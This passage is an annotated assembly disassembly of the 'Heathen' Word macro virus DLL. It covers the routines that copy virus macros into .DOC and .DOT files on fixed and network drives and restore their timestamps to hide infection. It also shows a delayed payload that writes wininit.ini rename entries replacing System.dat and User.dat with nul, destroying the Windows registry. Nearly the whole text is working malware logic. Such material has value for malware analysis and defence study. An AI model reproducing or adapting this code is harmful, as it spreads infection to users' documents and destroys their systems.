  push	0	    ; zero (reserved)
  push	offset xTable ;	name of	stream:	"0Table" or "1Table"
  mov	ecx, [ebp+IStorage1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.OpenStream] ; open stream
  test	eax, eax
  jnz	error73
  push	1	    ; STGMOVE_COPY (we want a copy!)
  push	offset aMacros ; name of element in destination
  push	[ebp+IStorage1]	; destination IStorage object (the document to be infected!)
  push	offset aMacros ; name of element to be moved
  mov	edx, ds:IStorage ; source IStorage (Heathen.vdo)
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.MoveElementTo] ; copy macros!
  test	eax, eax
  jnz	error74	    ; exit on error
  mov	dword ptr [ebp+SeekOffset], 0
  mov	dword ptr [ebp+SeekOffset+4], 0
  lea	eax, [ebp+MacrosOffset]	; here will be returned	end of xTable, where virus will	copy its macros
  push	eax
  push	2	    ; STREAM_SEEK_END
  push	dword ptr [ebp+SeekOffset+4]
  push	dword ptr [ebp+SeekOffset]
  mov	ecx, [ebp+IStream2]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Seek] ; seek to end of stream xTable
  push	0
  push	0
  push	dword ptr ds:HeathenMacrosSize+4
  push	dword ptr ds:HeathenMacrosSize ; size of virus macros (that were stored	in WordDocument	stream of Heathen.vdo)
  push	[ebp+IStream2] ; destination Stream (xTable stream of document to be infected!)
  mov	ecx, ds:IStream	; source stream	(WordDocument of Heathen.vdo, where virus macros are stored!!!))
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.CopyTo] ; copy virus macros at end of xTable
  test	eax, eax
  jnz	short error75
  mov	edx, [ebp+MacrosOffset]	; EDX =	offset of macros in xTable
  mov	ecx, dword ptr ds:HeathenMacrosSize ; ECX = size of macros
  mov	dword ptr [ebp+Buffer+15Ah], edx ; fcCmds = offset in xTable stream of macros
  mov	dword ptr [ebp+Buffer+15Eh], ecx ; lcbCmds = size of macros
  push	0	    ; NULL (dont return	new position)
  push	0	    ; STREAM_SEEK_SET
  push	dword ptr [ebp+SeekOffset+4] ; NULL
  push	dword ptr [ebp+SeekOffset] ; NULL
  mov	edx, [ebp+IStream1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Seek] ; set stream pointer to beginning of WordDocument
  push	0
  lea	eax, [ebp+Buffer]
  push	200h	    ; size of Header
  push	eax
  mov	edx, [ebp+IStream1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Write] ;	write WordDocument Header
  mov	esi, 1

error75:
  push	0	    ; NULL (dont return	new position)
  push	0	    ; STREAM_SEEK_SET
  push	dword ptr [ebp+SeekOffset+4]
  push	dword ptr [ebp+SeekOffset]
  mov	edx, ds:IStream
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Seek] ; set stream pointer to beggining of WordDocument stream in Heathen.vdo

error74:
  mov	eax, [ebp+IStream2]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Release]	; close	stream xTable

error73:
  mov	ecx, [ebp+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Release]	; close	stream WordDocument (of	infected document)

error72:
  mov	edx, [ebp+IStorage1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.Release] ; close IStorage object (infected document)
  test	esi, esi
  jz	short error71 ;	exit if	infection was not successful
  push	0	    ; NULL
  push	0	    ; NULL
  push	3	    ; CREATE_ALWAYS
  push	0	    ; NULL = file cannot be inherited
  push	0	    ; 0	= prevent file from being shared
  push	40000000h   ; GENERIC_WRITE
  push	ebx
  call	API_CreateFileA	; open document	file
  mov	ebx, eax
  lea	eax, [ebp+STATG.mtime]
  push	eax
  lea	edx, [ebp+STATG.atime]
  push	edx
  lea	ecx, [ebp+STATG.ctime]
  push	ecx
  push	ebx
  call	API_SetFileTime	; restore filetime
  push	ebx
  call	API_CloseHandle	; close	file handle

error71:
  mov	eax, esi

error70:
  pop	esi
  pop	ebx
  mov	esp, ebp
  pop	ebp
  retn
InfectDocument endp


; --------------- S U B	R O U T	I N E ---------------------------------------


SearchDirectories proc near

RootPathName= byte ptr -724h
DocumentName= byte ptr -71Ch
DirectoryName= byte ptr	-5F0h
File_Search_Pattern= byte ptr -4C4h
WIN32_FIND_DATA= WIN32_FIND_DATA_STRUC ptr -398h
SubdirectoryName= byte ptr -258h
FileName= byte ptr -12Ch

  push	ebx
  push	esi
  add	esp, 0FFFFF8DCh
  cmp	ds:DirectoryList.NextDirectorySTRUC, 0 ; end of	directories?
  lea	esi, [esp+724h+WIN32_FIND_DATA]	; ESI =	WIN32_FIND_DATA
  jz	short directories_end ;	yes, no	more directories
  lea	eax, [esp+724h+DocumentName]
  push	eax
  push	offset DirectoryList.NextDirectorySTRUC	; next directory
  call	DeleteDirectoryfromList	; get next document to infect and free it from List
  add	esp, 8
  lea	edx, [esp+724h+DocumentName]
  push	edx
  call	InfectDocument ; infect	document (unless its a directory name)
  pop	ecx
  mov	eax, 1
  jmp	error80
; ---------------------------------------------------------------------------

directories_end:
  cmp	ds:DirectoryList.DirectoryName,	0 ; finished all directories of	current	drive in ScanData list?
  jnz	short Search_Documents ; not yet
  call	API_GetLogicalDrives ; get info	on logical drives (bits	in EAX set to one)

invalid_drive:
  inc	ds:Drive    ; next drive
  cmp	ds:Drive, 1Ah ;	'Z'?
  jle	short CheckDrive
  xor	edx, edx
  mov	ds:Drive, edx ;	scan again all drives!

CheckDrive:
  cmp	ds:Drive, 2 ; (2 = C:)
  jl	short invalid_drive ; drives A:	and B: will not	be infected!
  mov	ecx, ds:Drive
  mov	edx, 1
  shl	edx, cl
  test	edx, eax
  jz	short invalid_drive ; drive not	present!
  push	offset aRoot
  lea	eax, [esp+728h+RootPathName]
  push	eax
  call	API_lstrcpyA ; "A:"
  mov	cl, byte ptr ds:Drive
  add	[esp+724h+RootPathName], cl ; set drive	letter
  push	esp	    ; &RootPathName
  call	API_GetDriveTypeA ; get	info on	logical	drive
  test	eax, eax    ; DRIVE_UNKNOWN
  jz	short Add_Drive_Path
  cmp	eax, 3	    ; DRIVE_FIXED
  jz	short Add_Drive_Path
  cmp	eax, 4	    ; DRIVE_REMOTE
  jnz	short Continue_Later ; exit with error free (will continue later!)

Add_Drive_Path:
  push	esp	    ; &RootPathName
  push	offset DirectoryList
  call	AddDirectorytoList ; add root directory	to List
  add	esp, 8
  jmp	error80
; ---------------------------------------------------------------------------

Continue_Later:
  mov	eax, 1	    ; EAX != 0 --> no errors
  jmp	error80
; ---------------------------------------------------------------------------

Search_Documents:
  lea	edx, [esp+724h+DirectoryName]
  push	edx
  push	offset DirectoryList
  call	DeleteDirectoryfromList	; get a	directory from list to search files (and free it from list)
  add	esp, 8
  lea	ecx, [esp+724h+DirectoryName] ;	path to	search files
  push	ecx
  push	offset aSearchPattern
  lea	eax, [esp+72Ch+File_Search_Pattern]
  push	eax
  call	API_wsprintfA ;	"drive:directory*.*"
  add	esp, 0Ch
  push	esi	    ; ESI = WIN32_FIND_DATA
  lea	edx, [esp+728h+File_Search_Pattern]
  push	edx
  call	API_FindFirstFileA ; find files!
  mov	ebx, eax
  cmp	ebx, 0FFFFFFFFh
  jz	error81	    ; error

Check_File:
  test	byte ptr [esi+WIN32_FIND_DATA_STRUC.dwFileAttributes], 10h ; FILE_ATTRIBUTE_DIRECTORY?
  jz	short File_Found
  push	offset a__
  lea	eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
  push	eax
  call	API_lstrcmpA
  test	eax, eax
  jz	short File_Found ; jump	if ".."
  push	offset a_
  lea	edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
  push	edx
  call	API_lstrcmpA
  test	eax, eax
  jz	short File_Found ; jump	if "."
  lea	ecx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
  push	ecx	    ; name of found subdirectory
  lea	eax, [esp+728h+DirectoryName]
  push	eax
  push	offset aSS1 ; "%s%s"
  lea	edx, [esp+730h+SubdirectoryName]
  push	edx
  call	API_wsprintfA ;	"drive:directorysubdirectory"
  add	esp, 10h
  lea	ecx, [esp+724h+SubdirectoryName]
  push	ecx
  push	offset DirectoryList
  call	AddDirectorytoList ; add it to List
  add	esp, 8
  test	eax, eax
  jnz	short Search_More_Files	; search more files
  xor	eax, eax    ; error
  jmp	error80
; ---------------------------------------------------------------------------
  jmp	short Search_More_Files
; ---------------------------------------------------------------------------

File_Found:
  lea	edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
  push	edx
  call	UpperCase   ; convert all letters to uppercase
  pop	ecx
  xor	eax, eax    ; EAX = index in filename
  jmp	short Check_File2
; ---------------------------------------------------------------------------

search_end_of_filename:
  inc	eax

Check_File2:
  cmp	[esi+eax+WIN32_FIND_DATA_STRUC.cFileName], 0
  jnz	short search_end_of_filename ; get to end of filename
  lea	edx, [esi+WIN32_FIND_DATA_STRUC.dwReserved1]
  add	eax, edx    ; EAX = pointer to 4 bytes before end of filename
  mov	edx, [eax]
  cmp	edx, 434F442Eh ; ".DOC"
  jz	short Target_Extensions
  cmp	edx, 544F442Eh ; ".DOT"
  jnz	short Search_More_Files

Target_Extensions:
  lea	eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
  push	eax
  lea	ecx, [esp+728h+DirectoryName]
  push	ecx
  push	offset aSS2
  lea	eax, [esp+730h+FileName]
  push	eax
  call	API_wsprintfA ;	"drive:directorydocument"
  add	esp, 10h
  lea	edx, [esp+724h+FileName]
  push	edx
  push	offset DirectoryList.NextDirectorySTRUC
  call	AddDirectorytoList ; add document to List
  add	esp, 8
  test	eax, eax
  jnz	short Search_More_Files
  xor	eax, eax    ; error
  jmp	short error80
; ---------------------------------------------------------------------------

Search_More_Files:
  push	esi
  push	ebx
  call	API_FindNextFileA ; search more	files/subdirectories
  test	eax, eax
  jnz	Check_File  ; check this file
  push	ebx
  call	API_FindClose ;	close search handle

error81:
  mov	eax, 1	    ; means error free	 :-)

error80:
  add	esp, 724h   ; (EAX = 0 --> some	error occured)
  pop	esi
  pop	ebx
  retn
SearchDirectories endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

THREAD2_EntryPoint proc near
  push	ebp
  mov	ebp, esp

continue_search:
  call	SearchDirectories
  test	eax, eax
  jz	short error30 ;	EAX=0 means that some error occured
  push	3E8h	    ; timeout interval=1000 miliseconds	= 1 second
  push	ds:EventHandle
  call	API_WaitForSingleObject	; wait for the event to	be signaled
  cmp	eax, 102h   ; WAIT_TIMEOUT?
  jz	short continue_search ;	in case	of timeout, repeat process. Else finish	thread.

error30:
  xor	eax, eax
  pop	ebp
  retn	4	    ; exit thread
THREAD2_EntryPoint endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

WndProc proc near

HWND= dword ptr	 8
UINT= dword ptr	 0Ch
WPARAM=	dword ptr  10h
LPARAM=	dword ptr  14h

  push	ebp
  mov	ebp, esp
  mov	edx, [ebp+WPARAM] ; wparam
  mov	eax, [ebp+UINT]	; message identifier
  mov	ecx, eax
  sub	ecx, 16h    ; WM_ENDSESSION  informs the application whether the Windows session is ending)
  jnz	short calldefaultWndProc ; go to default WndProc, unless WM_ENDSESSION is received
  test	edx, edx
  jz	short messageprocessed ; wparam=FALSE=session is NOT being ended
  push	ds:EventHandle
  call	API_SetEvent ; set state of event object as signaled, so API WaitSingleObject returns!
  push	0FFFFFFFFh
  push	ds:Thread2_Handle
  call	API_WaitForSingleObject	; wait to signaled state of the	Thread2, that is, when thread finishes
  call	UpdateScanData ; write to disk the list	of currently scanned directories
  mov	eax, ds:IStream
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Release]	; close	stream WordDocument (OnILockBytes)
  mov	eax, ds:IStorage
  push	eax
  mov	edx, [eax]
  call	[edx+IStorage_Interface.Release] ; close IStorage (OnIlockBytes)
  mov	ecx, ds:ILockBytes
  push	ecx
  mov	eax, [ecx]
  call	[eax+ILockBytes_Interface.Release] ; release ILockBytes	interface
  cmp	ds:MoreThanHalfYear, 0
  jz	short messageprocessed ; skip if less than 183 days since virus	installation
  call	PAYLOAD	    ; lets play	with wininit.ini   :-D
  jmp	short messageprocessed
; ---------------------------------------------------------------------------

calldefaultWndProc:
  push	[ebp+LPARAM] ; lparam
  push	edx	    ; wparam
  push	eax	    ; uint
  push	[ebp+HWND]  ; hwnd
  call	API_DefWindowProcA ; call default WndProc
  jmp	short Exit_WndProc
; ---------------------------------------------------------------------------

messageprocessed:
  xor	eax, eax    ; indicate that the	message	has been procesed

Exit_WndProc:
  pop	ebp
  retn	10h
WndProc	endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

THREAD1_EntryPoint proc near

Message= dword ptr -48h
WndClass= WNDCLASS_STRUC ptr -2Ch
Thread2_ID= dword ptr -4
DllHandle= dword ptr  8

  push	ebp
  mov	ebp, esp
  add	esp, 0FFFFFFB8h
  push	ebx
  call	InitVariables ;	init some variables and	check date (for	payload)
  test	eax, eax
  jz	Exit_THREAD1 ; exit on error
  push	offset MemoryAllocator
  push	1	    ; must be 1
  call	API_CoGetMalloc	; get IMalloc interface
  call	InitDirectoryList ; initialize directory list
  xor	eax, eax
  xor	edx, edx
  mov	[ebp+WndClass.style], eax
  xor	ecx, ecx
  mov	[ebp+WndClass.lpfnWndProc], offset WndProc
  mov	[ebp+WndClass.cbClsExtra], edx
  mov	[ebp+WndClass.cbWndExtra], ecx
  mov	eax, [ebp+DllHandle] ; argument	given to the thread
  mov	[ebp+WndClass.hInstance], eax
  push	7F00h	    ; IDI_APPLICATION  (default	application icon)
  push	0	    ; NULL
  call	API_LoadIconA ;	return handle to the application icon
  mov	[ebp+WndClass.hIcon], eax
  push	7F00h	    ; IDC_ARROW
  push	0
  call	API_LoadCursorA	; return handle	to the application cursor
  mov	[ebp+WndClass.hCursor],	eax
  push	4	    ; BLACK_BRUSH
  call	API_GetStockObject ; retrieves a handle	to one of the predefined stock pens
  mov	[ebp+WndClass.hbrBackground], eax
  xor	edx, edx
  mov	[ebp+WndClass.lpszMenuName], edx ; NULL=windows	belonging to this class	have no	default	menu
  lea	ecx, [ebp+WndClass] ; address of structure with	class data
  mov	[ebp+WndClass.lpszClassName], offset aHeathenwc	; lpszClassName
  push	ecx
  call	API_RegisterClassA ; registers a window	class for subsequent calls to CreateWindow/CreateWindowEx
  test	ax, ax
  jz	Exit_THREAD1 ; error
  push	0	    ; lpParam=NULL
  push	[ebp+DllHandle]	; application instance
  push	0	    ; NULL
  push	0	    ; NULL
  push	64h	    ; height
  push	64h	    ; width
  push	80000000h   ; CW_USEDEFAULT
  push	80000000h   ; CW_USEDEFAULT
  push	80000000h   ; CW_USEDEFAULT
  push	0
  push	offset aHeathenwc ; pointer to registered class	name
  push	0
  call	API_CreateWindowExA ; create window
  test	eax, eax
  jz	short Exit_THREAD1 ; error
  lea	eax, [ebp+Thread2_ID] ;	&Thread2_ID
  push	eax
  push	4	    ; CREATE_SUSPENDED
  push	0	    ; argument for new thread
  push	offset THREAD2_EntryPoint ; LPTHREAD_START_ROUTINE
  push	10000h	    ; stack size
  push	0	    ; NULL = Thread attributes
  call	API_CreateThread ; create Thread2
  mov	ebx, eax
  mov	ds:Thread2_Handle, ebx ; save thread2 handle
  test	ebx, ebx
  jz	short Exit_THREAD1 ; error
  push	offset aHeathenIsHere ;	event object name
  push	0	    ; Initial State = nonsignaled
  push	1	    ; it requires to manually reset the	state to nonsignaled
  push	0	    ; NULL = handle cannot be inherited
  call	API_CreateEventA ; create an event object
  mov	ds:EventHandle,	eax ; save event handle
  push	0FFFFFFF1h  ; THREAD_BASE_IDLE
  push	ds:Thread2_Handle
  call	API_SetThreadPriority ;	set Thread2 priority
  push	ds:Thread2_Handle
  call	API_ResumeThread ; resume thread! :-)
  jmp	short getmessage
; ---------------------------------------------------------------------------

dispatchmessage:
  lea	eax, [ebp+Message]
  push	eax
  call	API_DispatchMessageA ; dispatch	message

getmessage:
  push	0	    ; wMsgFilterMax=NULL (no range filtering is	performed)
  push	0	    ; wMsgFilterMin=NULL (no range filtering is	performed)
  push	0	    ; NULL=retrieves messages for any window that belongs to the calling thread
  lea	edx, [ebp+Message]
  push	edx
  call	API_GetMessageA	; retrieves a message from the calling thread's message queue and places it in the specified structure
  test	eax, eax
  jnz	short dispatchmessage ;	do it again until the function retrieves the WM_QUIT message

Exit_THREAD1:
  xor	eax, eax
  pop	ebx
  mov	esp, ebp
  pop	ebp
  retn	4	    ; end thread
THREAD1_EntryPoint endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

DllMain proc near

Thread1_ID= byte ptr -4
hinstDLL= dword	ptr  8
fdwReason= dword ptr  0Ch

  push	ebp
  mov	ebp, esp
  push	ecx
  push	ebx
  cmp	[ebp+fdwReason], 1 ; DLL_PROCESS_ATTACH?
  jnz	short exit_Dllmain ; no
  lea	eax, [ebp+Thread1_ID]
  push	eax	    ; &Thread1_ID
  push	4	    ; CREATE_SUSPENDED
  push	[ebp+hinstDLL] ; argument for new thread (=Dll module handle)
  push	offset THREAD1_EntryPoint ; LPTHREAD_START_ROUTINE
  push	10000h	    ; size of stack
  push	0	    ; NULL = thread attributes
  call	API_CreateThread ; create Thread1
  mov	ebx, eax
  test	ebx, ebx
  jz	short exit_Dllmain ; exit on error
  push	0FFFFFFF1h  ; THREAD_BASE_IDLE
  push	ebx	    ; Thread1 handle
  call	API_SetThreadPriority ;	set Thread1 priority
  push	ebx	    ; Thread1 handle
  call	API_ResumeThread ; resume thread! :-)

exit_Dllmain:
  mov	eax, 1	    ; TRUE = DllMain succeeds
  pop	ebx
  pop	ecx
  pop	ebp
  retn	8
DllMain	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_SetThreadPriority proc near
  jmp	ds:SetThreadPriority
API_SetThreadPriority endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetWindowsDirectoryA proc near
  jmp	ds:GetWindowsDirectoryA
API_GetWindowsDirectoryA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_FindNextFileA proc near
  jmp	ds:FindNextFileA
API_FindNextFileA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CreateEventA proc near
  jmp	ds:CreateEventA
API_CreateEventA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_SetEvent proc near
  jmp	ds:SetEvent
API_SetEvent endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_FindClose proc near
  jmp	ds:FindClose
API_FindClose endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_WaitForSingleObject proc near
  jmp	ds:WaitForSingleObject
API_WaitForSingleObject	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetDriveTypeA proc near
  jmp	ds:GetDriveTypeA
API_GetDriveTypeA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetLogicalDrives proc near
  jmp	ds:GetLogicalDrives ; Get bitmask representing
API_GetLogicalDrives endp ; the	currently available disk drives


; --------------- S U B	R O U T	I N E ---------------------------------------


API_FileTimeToSystemTime proc near
  jmp	ds:FileTimeToSystemTime
API_FileTimeToSystemTime endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CreateFileA proc near
  jmp	ds:CreateFileA
API_CreateFileA	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_FindFirstFileA proc near
  jmp	ds:FindFirstFileA
API_FindFirstFileA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_SetFileTime proc near
  jmp	ds:SetFileTime
API_SetFileTime	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_ResumeThread proc near
  jmp	ds:ResumeThread
API_ResumeThread endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CreateThread proc near
  jmp	ds:CreateThread
API_CreateThread endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CloseHandle proc near
  jmp	ds:CloseHandle
API_CloseHandle	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_WriteFile proc near
  jmp	ds:WriteFile
API_WriteFile endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_lstrcatA proc near
  jmp	ds:lstrcatA
API_lstrcatA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_lstrcmpA proc near
  jmp	ds:lstrcmpA
API_lstrcmpA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_lstrcpyA proc near
  jmp	ds:lstrcpyA
API_lstrcpyA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_lstrlenA proc near
  jmp	ds:lstrlenA
API_lstrlenA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetSystemTime proc near
  jmp	ds:GetSystemTime
API_GetSystemTime endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_RegisterClassA proc near
  jmp	ds:RegisterClassA
API_RegisterClassA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_LoadIconA proc near
  jmp	ds:LoadIconA
API_LoadIconA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_LoadCursorA proc near
  jmp	ds:LoadCursorA
API_LoadCursorA	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetMessageA proc near
  jmp	ds:GetMessageA
API_GetMessageA	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_DispatchMessageA proc near
  jmp	ds:DispatchMessageA
API_DispatchMessageA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_DefWindowProcA proc near
  jmp	ds:DefWindowProcA
API_DefWindowProcA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CreateWindowExA proc near
  jmp	ds:CreateWindowExA
API_CreateWindowExA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_wsprintfA proc near
  jmp	ds:wsprintfA
API_wsprintfA endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_StgOpenStorage proc near
  jmp	ds:StgOpenStorage
API_StgOpenStorage endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_StgCreateDocfileOnILockBytes proc near
  jmp	ds:StgCreateDocfileOnILockBytes
API_StgCreateDocfileOnILockBytes endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CreateILockBytesOnHGlobal proc near
  jmp	ds:CreateILockBytesOnHGlobal
API_CreateILockBytesOnHGlobal endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_CoGetMalloc proc near
  jmp	ds:CoGetMalloc
API_CoGetMalloc	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


API_GetStockObject proc near
  jmp	ds:GetStockObject
API_GetStockObject endp

; ---------------------------------------------------------------------------
  align	100h
  db 0A00h dup(?)
CODE ends

; Section 2. (virtual address 00003000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00001C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: 16 bytes ?
; ---------------------------------------------------------------------------

; Segment type:	Pure data
DATA segment para public 'DATA' use32
  assume cs:DATA
  ;org 403000h
aGetWindowsDirectoryA db 'GetWindowsDirectoryA',0
aCopyFileA db 'CopyFileA',0
DeleteFileA db 'DeleteFileA',0
aCreateFileA db 'CreateFileA',0
aReadFile db 'ReadFile',0
aWriteFile db 'WriteFile',0
aCloseHandle db 'CloseHandle',0
aSetFilePointer db 'SetFilePointer',0
aGetFileTime db 'GetFileTime',0
aSetFileTime db 'SetFileTime',0
alstrcatA db 'lstrcatA',0
alstrcpyA db 'lstrcpyA',0
alstrcmpA db 'lstrcmpA',0
alstrlenA db 'lstrlenA',0
aStgOpenStorage db 'StgOpenStorage',0
aStgCreateDocfile db 'StgCreateDocfile',0
aCoGetMalloc db 'CoGetMalloc',0
aLoadLibraryA db 'LoadLibraryA',0
aKernel32_dll db 'KERNEL32.DLL',0
aHtmp_doc db 'Htmp.doc',0
aExplorer_exe db 'Explorer.exe',0
aHeathen_vex db 'Heathen.vex',0
aHeathen_vdl db 'Heathen.vdl',0
aHeathen_vdo db 'Heathen.vdo',0
aWininit_ini db 'Wininit.ini',0
aRename db '[rename]',0Dh,0Ah,0
aWorddocument:
  unicode 0, <WordDocument>,0
xTable:
  unicode 0, <xTable>,0
aMacros:
  unicode 0, <Macros>,0
aScandata:
  unicode 0, <ScanData>,0
aHeathenwc db 'HeathenWC',0
aHeathenIsHere db 'Heathen is here',0
aRename2 db '%snul=%sSystem.dat',0Dh,0Ah
  db 'nul=%sUser.dat',0Dh,0Ah
  db 'nul=%sSystem.da0',0Dh,0Ah
  db 'nul=%sUser.da0',0
aRoot db 'A:',0
aSearchPattern db '%s*.*',0
a__ db '..',0
a_ db '.',0
aSS1 db '%s%s',0
aSS2 db '%s%s',0
  db	0 ;
MemoryAllocator dd 0
DirectoryList dd 0              ; DirectoryName
  dd 0		    ; NextDirectorySTRUC
WindowsDirectory db 12Ch dup(0)
ILockBytes dd 0
IStorage dd 0
		    ; IStorage del heathen.vdo
IStream dd 0
HeathenMacrosSize dq 0
UNICODE_HeathenVDO db 258h dup(0)
Drive dd ?
MoreThanHalfYear dd ?
may14h dd ?
EventHandle dd ?
Thread2_Handle dd ?
  align	1000h
DATA ends

;
; Imports from KERNEL32.dll
;
; Section 3. (virtual address 00004000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00002000
; Flags	C0000040: Data Readable	Writable
; Alignment	: 16 bytes ?
; ---------------------------------------------------------------------------

; Segment type:	Externs
; _idata
  extrn SetThreadPriority:dword
  extrn GetWindowsDirectoryA:dword
  extrn FindNextFileA:dword
  extrn CreateEventA:dword
  extrn SetEvent:dword
  extrn FindClose:dword
  extrn WaitForSingleObject:dword
  extrn GetDriveTypeA:dword
  extrn GetLogicalDrives:dword
		    ; Get bitmask representing
		    ; the currently available disk drives
  extrn FileTimeToSystemTime:dword
  extrn CreateFileA:dword
  extrn FindFirstFileA:dword
  extrn SetFileTime:dword
  extrn ResumeThread:dword
  extrn CreateThread:dword
  extrn CloseHandle:dword
  extrn WriteFile:dword
  extrn lstrcatA:dword
  extrn lstrcmpA:dword
  extrn lstrcpyA:dword
  extrn lstrlenA:dword
  extrn GetSystemTime:dword

;
; Imports from USER32.dll
;
  extrn RegisterClassA:dword
  extrn LoadIconA:dword
  extrn LoadCursorA:dword
  extrn GetMessageA:dword
  extrn DispatchMessageA:dword
  extrn DefWindowProcA:dword
  extrn CreateWindowExA:dword
  extrn wsprintfA:dword

;
; Imports from OLE32.dll
;
  extrn StgOpenStorage:dword
  extrn StgCreateDocfileOnILockBytes:dword
  extrn CreateILockBytesOnHGlobal:dword
  extrn CoGetMalloc:dword

;
; Imports from GDI32.dll
;
  extrn GetStockObject:dword



  end DLL_EntryPoint